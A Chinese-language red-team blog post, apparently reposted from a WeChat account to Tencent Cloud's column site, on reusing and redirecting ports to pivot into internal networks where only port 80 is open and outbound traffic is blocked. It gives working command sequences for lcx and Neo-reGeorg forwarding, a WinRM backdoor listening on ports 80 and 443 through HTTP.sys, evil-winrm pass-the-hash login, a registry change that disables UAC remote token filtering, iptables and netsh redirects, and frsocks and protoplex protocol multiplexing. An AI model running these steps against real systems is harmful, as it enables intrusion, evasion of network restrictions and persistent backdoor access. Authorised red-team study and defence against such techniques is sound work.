前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队技巧-在端口限制下的砥砺前行

红队技巧-在端口限制下的砥砺前行

作者头像
Gamma实验室
发布2021-07-01 15:11:19
1.3K0
发布2021-07-01 15:11:19
举报
文章被收录于专栏:Gamma安全实验室

前言

就在昨天一个大佬被提及面试腾讯的经历,嗯?也就那样吧,很基础。。。。。。。这就是大佬吧,膜拜大佬!然后我好奇的看了一下面试的一些问题,然后其中一个实战问题让我来了兴趣,问如果整站被web.config做了出站限制,在不更改web.config的情况下如何转发?唉,我知道,但是我就不说,我就是玩儿!

这让我想到面试zteam的时候,大佬问我,如果做了端口限制,只开80,不出网,如何实现内网穿透,一层还好,就直接上http代理就行,多层内网就不行,这时候就需要用到端口复用。

资料参考

端口复用,顾名思义,就是一个端口多个应用程序使用,在常理看来,一个端口就一个应用程序,但是实际上是可以的。

在windows中,lls web服务器使用HTTP.sys中的Net.tcp Port Sharing服务,配合WinRM实现端口复用,可以实现正向后门

HTTP.sys

HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序。

代码语言:javascript
复制
- 为了优化IIS服务器性能
- 从IIS6.0引入(即Windows Server 2003及以上版本)
- IIS服务进程依赖HTTP.sys

HTTP.sys监听HTTP流量,然后根据URL注册的情况去分发,以实现多个进程在同一个端口监听HTTP流量,微软公开了HTTP Server API库,Httpcfg、Netsh等都是基于它的。

整个过程描述如下:

1.注册:IIS或其他应用使用HTTP Server API时,需要先在HTTP.sys上面注册url prefix,以监听请求路径(我们可以自己注册一个url prefix)

命令:

代码语言:javascript
复制
netsh http show servicestate#查看所有在HTTP.sys上注册过的url前缀
#UrlPrefix具有以下语法
“方案://主机:端口/ relativeURI”
#example
“http://域名:80/abc/”
“https://域名:443/acd/”
“https://:域名:80 /aes/”

2.路由:HTTP.sys获取到request请求,并分发这个请求给注册当前url对应的应用。

(2) Net.tcp Port Sharing

Net.tcp Port Sharing服务是WCF(Windows Communication Foundation,微软的一个框架)中的一个新系统组件,这个服务会开启Net.tcp端口共享功能以达到在用户的不同进程之间实现端口共享。这个机制的最终是在HTTP.sys中实现的。目前将许多不同HTTP应用程序的流量复用到单个TCP端口上的HTTP.sys模型已经成为windows平台上的标准配置。

还种是利用中间的特性,还有一种思路就是,分流,监听流量,然后把指定的流量重定向到另一个端口,好多工具,程序,中间间都支持,不仅设计到端口复用,也涉及到协议复用。

实战

端口转发的情况

工具:port-multiplexing

通过setockopt函数实现对端口的重绑定,从而实现端口绑定

适用于 apache、nginx、iis(<6.0) 等

python lcx.py -l 192.168.1.222 -p 80 -r 127.0.0.1 -P 3389

当然你也可以用Neo-reGeorg实现远程端口转发到本地

代码语言:javascript
复制
python neoreg.py -k <you_password> -u <url> -t <ip:port>

还有很多工具,多层套用才能更加畅通无阻!怎么玩,看你

正向后门情况

最常用的就是winrm后门吧

此方法需要,llsweb服务才行,依赖与https.sys模块

被控主机:

代码语言:javascript
复制
winrm quickconfig -q 开启winrm服务,开启5985 管理员权限
\#设置启用httplistener监听并存
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //80
winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"} //443

攻击主机设置:

代码语言:javascript
复制
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}#设置trusts
winrs -r:http://172.16.142.151:80 -u:administrator -p:admin123 "whoami"

kali:

代码语言:javascript
复制
sudo gem install evil-winrm
evil-winrm -i 172.16.142.151 -u administrator -H 8842xxxxxxx9c89a -P 80

因为在winrm服务中,默认是只支持administrators用户进行远程任务管理的,如果你加 了一个管理员用户上去,是受uac限制的

解决uac问题:

代码语言:javascript
复制
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /

分流情况

linux:

使用iptables分流:

将对外开放的80端口流量转向本机22(只对8.8.8.0/24的来源IP有效,其他IP访问完全正常):

代码语言:javascript
复制
iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22

windows netsh好像不行,我没试过,我比较菜!

windows:

将对外开放的80端口流量转向本机9999(只对192.168.154.129的来源IP有效,其他IP访问完全正常)

代码语言:javascript
复制
netsh interface portproxy add v4tov4 listenport=80 listen
address=192.168.154.129 connectport=9999 connectaddress=192.168.154.129

frsocks+protoplex+流量重定向实现端口复用(ztem文章中的技术,十分nice!)

frsocks

https://github.com/3gstudent/Homework-of-Go/blob/master/frsocks.go

监听本地的2333端口开启一个socks5代理。

代码语言:javascript
复制
./frsocks -sockstype fsocks -listen 2333

protoplex

https://github.com/Pandentia/protoplex

这是一个协议复用的工具,比如命令可将本地9999端口的流量根据协议类型转到本地的 2333和80端口。

注: 在实战环境中,先用protoplex进行分流,然后在进行重定向。

代码语言:javascript
复制
./protoplex --socks5 192.168.154.130:2333 --http 127.0.0.1:80 -b 192.168.154.130:9999

同时该工具还支持其他协议的分流,如:

SSH

HTTP

TLS (/ HTTPS)

OpenVPN

SOCKS4 / SOCKS5

结论

实际上有很多工具能实现很多普通的功能,当不同的工具结合起来,会产生很nice的效果,前提是你真正懂这些工具在干嘛,基础知识还得牢固,比如你搞个ssh隧道,你都不禁ping就去扫描,能扫出来个寂寞。

END

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档